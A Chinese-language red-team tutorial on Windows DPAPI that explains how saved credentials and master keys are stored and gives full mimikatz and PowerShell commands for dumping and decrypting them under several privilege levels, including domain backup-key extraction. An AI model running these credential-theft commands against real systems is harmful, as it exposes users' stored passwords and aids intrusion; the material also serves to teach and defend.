Skip to main content

DPAPI

DPAPI,即数据保护应用接口,是一个提供加解密数据块的Windows组件。它使用与指定用户或主机绑定的密码学密钥并且允许原生Windows功能以及第三方应用来透明地保护/解除保护给用户的数据。DPAPI 被 Windows 凭证管理器所使用于储存保存的秘密,凭证管理器数据块存放于用户的 AppData文件夹中。

image.png

那么,DPAPI 保护哪些呢?例如:
Internet Explorer、Google Chrome 中的密码和表单自动填充数据
Outlook、Windows Mail、Windows Mail 等中的电子邮件帐户密码。
共享文件夹和资源访问密码
无线网络帐户密钥和密码
Windows CardSpace 和 Windows Vault 中的加密密钥
远程桌面连接密码,.NET Passport
凭据管理器中的网络密码
使用 API 函数 CryptProtectData 以编程方式保护的任何应用程序中的个人数据。 例如,在 Skype、Windows Rights Management Services、Windows Media、MSN messenger、Google Talk 等
...

我们可以使用原生工具 vaultcmd 来列举 AppData 中的数据块

image.png

或者使用 mimikatz 中的 vault::list 命令。

image.png

如果前往控制面板 -> 凭据管理器,并且选择Windows凭据,我们会看到这些凭据是如何出现在用户面前的。而如果打开RDP,这些凭据会被自动填充。

image.png

凭证文件存在于 C:\Users\username\AppData\Local\Microsoft\Credentials 文件夹下,我们可以通过 powershell 命令 Get-ChildItem  -hidden C:\Users\users\AppData\Local\Microsoft\Credentials 来查看。

image.png

为了解密这些凭证,我们需要找到主加密密钥,即 Master Key。用于加密用户 RSA 密钥的 DPAPI 密钥存储在 %APPDATA%\Microsoft\Protect\{SID} 目录下,其中 {SID} 是该用户的安全标识符。 DPAPI 密钥与保护用户私钥的主密钥存储在同一文件中,它通常是 64 字节的随机数据。我们可以运行 mimikatz 中的 dpapi::cred 命令并且提供凭证文件的位置:mimikatz dpapi::cred /in:C:\Users\username\AppData\Local\Microsoft\Credentials\28350839752B38B238E5D56FDD7891A7

image.png

image.png

在输出中,pbData 包含的是加密数据,guidMasterKey 包含了所需密钥的 GUID。 %APPDATA%\Microsoft\Protect\{SID} 目录下应当存在与 guidMasterKey 数值吻合的文件名的文件,即 %APPDATA%\Microsoft\Protect\{SID}\{guidMasterKey}。接下来,我们需要获得 Master Key 的实际内容,有以下几种情况以及对应方法

1:获得本地管理员权限

运行 mimikatz 的 sekurlsa::dpapi 命令,获得所有的本地主密钥。因为会与 lsass 交互,所以不是很好的 OPSEC。

2:知道用户密码

dpapi::masterkey /in:"C:\Users\<username>\AppData\Roaming\Microsoft\Protect\S-1-5-21-2552734371-813931464-1050690807-1106\3e90dd9e-f901-40a1-b691-84d7f647b8fe" /sid:S-1-5-21-2552734371-813931464-1050690807-1106 /password:123456 /protected

3:不知道用户密码

dpapi::masterkey /in:"C:\Users\<username>\AppData\Roaming\Microsoft\Protect\S-1-5-21-2552734371-813931464-1050690807-1106\3e90dd9e-f901-40a1-b691-84d7f647b8fe" /rpc

4:域管理员权限

运行 mimikatz 的 lsadump::backupkeys /system:dc01.offense.local /export 命令,会得到多个文件,其中 pvk 文件可以用于提取主密钥 mimikatz dpapi::masterkey /in:"C:\Users\spotless.OFFENSE\AppData\Roaming\Microsoft\Protect\S-1-5-21-2552734371-813931464-1050690807-1106\3e90dd9e-f901-40a1-b691-84d7f647b8fe" /pvk:ntds_capi_0_d2685b31-402d-493b-8d12-5fe48ee26f5a.pvk

image.png

在获得主密钥之后,就可以进行最终的解密了。我们可以通过 mimikatz 的命令 mimikatz dpapi::cred /in:C:\Users\bfarmer\AppData\Local\Microsoft\Credentials\28350839752B38B238E5D56FDD7891A7 /masterkey:0c0105785f89063857239915037fbbf0ee049d984a09a7ae34f7cfc31ae4e6fd029e6036cde245329c635a6839884542ec97bf640242889f61d80b7851aba8df 进行解密。

image.png

 

工具 HEKATOMB (https://github.com/Processus-Thief/HEKATOMB) 在我们获得了域管理员权限之后,自动化提取所有用户在所有主机上的 解密后的凭证。

image.png